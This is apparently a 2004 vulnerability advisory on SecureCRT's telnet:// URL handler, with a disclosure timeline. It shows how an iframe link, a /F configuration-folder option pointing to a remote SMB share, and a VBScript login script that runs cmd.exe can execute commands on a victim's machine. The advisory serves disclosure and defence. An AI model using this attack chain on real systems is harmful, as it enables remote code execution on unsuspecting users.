"SecureCRT is an extremely customizable terminal emulator for Internet and intranet use with support for Secure Shell (SSH1 and SSH2) as well as Telnet and rlogin protocols". Unsafe handling of a URL handler (telnet://) in SecureCRT allows a remote attacker to run arbitrary code on the target machine.
The information has been provided by Brett Moore.
* SecureCRT Version 4.1 and 4.0 (and probably lower)
* SecureCRT version 4.1.9
SecureCRT installs a URL PROTOCOL handler into the registry, as "C:\Program Files\SecureCRT\SecureCRT.EXE" %1
This allows a user to click on a telnet:// link and have it opened from within their web browser. This 'telnet execution' can be automated through an HTML page such as <iframe src="telnet://192.168.0.1:25">
SecureCRT will accept a command line option (/F) to specify the directory to use as the configuration folder. It is possible by crafting a special URL to specify this directory through the HTML page. An attacker can specify a directory accessible through unprotected SMB share, therefore allowing them to control the configuration of SecureCRT.
SecureCRT allows for 'scripting' using script languages such as VBScript and has the ability to create a logon script. An attacker can therefore create a script to execute commands and have these commands executed on the targets computer.
There appears to be some filtering around the use of \ in the URL->command line parsing, that appeared to prevent the specification of an SMB share to use for the configuration. This can be easily bypassed and leads to the loading of a configuration file from a remote site.
The configuration file contains an entry that specifies the login script to run which can be set a file on the the remote share; S:"Script Filename"=\\ipofshare\share\folder\scriptname
And the login script can then contain scripting such as:
# $language = "VBScript"
# $interface = "1.0"
dim wshShell, boolErr, strErrDesc
Set wshShell = CreateObject("WScript.Shell")
run = wshShell.Run ("cmd.exe /c dir >c:\shell.txt",0,True)
* August 24, 2004: Discovered and advised to vandyke.com by Brett Moore of Security-Assessment.com
* October 26, 2004: SecureCRT version 4.1.9 released
* November 23, 2004: Public disclosure